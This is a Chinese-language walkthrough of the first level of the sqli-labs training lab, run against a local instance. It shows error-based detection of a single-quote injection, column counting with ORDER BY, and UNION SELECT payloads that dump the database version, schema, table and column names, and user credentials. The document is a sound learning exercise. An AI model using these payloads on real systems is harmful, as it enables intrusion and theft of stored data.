sql-labs--Less-1--Error based-Single quotes
阅读原文时间:2023年09月05日阅读:1

sql="SELECT * FROM users WHERE id='id' LIMIT 0,1";

打开第一关,我们看到如下界面,上面写着Please input the ID as parameter with numeric value,它的意思是让我们请输入ID作为带有数值的参数。

我们输入带有id的参数:http://127.0.0.1/sqli-labs/Less-1/?id=1,如下图,正确回显界面。

我们尝试加入and 1=1(http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=1),正确回显,然后我们将and 1=1 改为and 1=2,发现正确回显,为字符型注入,即说明存在闭合的干扰,所以我们在http://127.0.0.1/sqli-labs/Less-1/?id=1后面加一个'(单引号):http://127.0.0.1/sqli-labs/Less-1/?id=1',返回错误。如下图:

注释:这里and 1=1 改为and 1=2,发现正确回显,因为id为int类型,所以传入的 ‘1 and 1=2’ 会强制转换成 ‘1’ ,=>最终数据库中的查询语句为: select * from user where id ='1'; 所以sql语句不会报错。

爆的SQL语法错误('1'' LIMIT 0,1),多加了一个引号,即为字符型注入,说明为id='id'。

我们对‘后加--+进行注释。不能用# ,因为url中的# 号代表html页面中的锚点,数据传输过程并不会一起带到后端,且命令传到后端,少了一个单引号用来闭合命令(我们可以利用这种特性,在url中命令结尾添加一个单引号来代替注释符,或者将# 改为url编码(%23)。

然后我们使用order by对数据进行排序,查看数据有几列。(http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3--+)超过3就会报错,显示结果超出。如下:

然后进行union联合注入(union 的作用是将两个 sql 语句进行联合。):当 id 的数据在数据库中不存在时,(即使 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,就将后面的语句的内容显示出来)此处前台页面返回了构造的 union 的数据。

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3--+,回显正确。如下:

我们可以看出是更改select中的2,3来使我们知道我们想知道的信息。

查询数据库版本和数据库名:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,version(),database()--+

查询用户名和操作系统:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,user(),@@version_compile_os--+

也可以爆出数据库中的所有数据库名(http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+),我上边已经将这个数据库的库名爆出来了,没必要再去爆所有数据库名。

爆出security 数据库的数据表:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

爆users表:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

爆出数据:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,username,password from users where id=1--+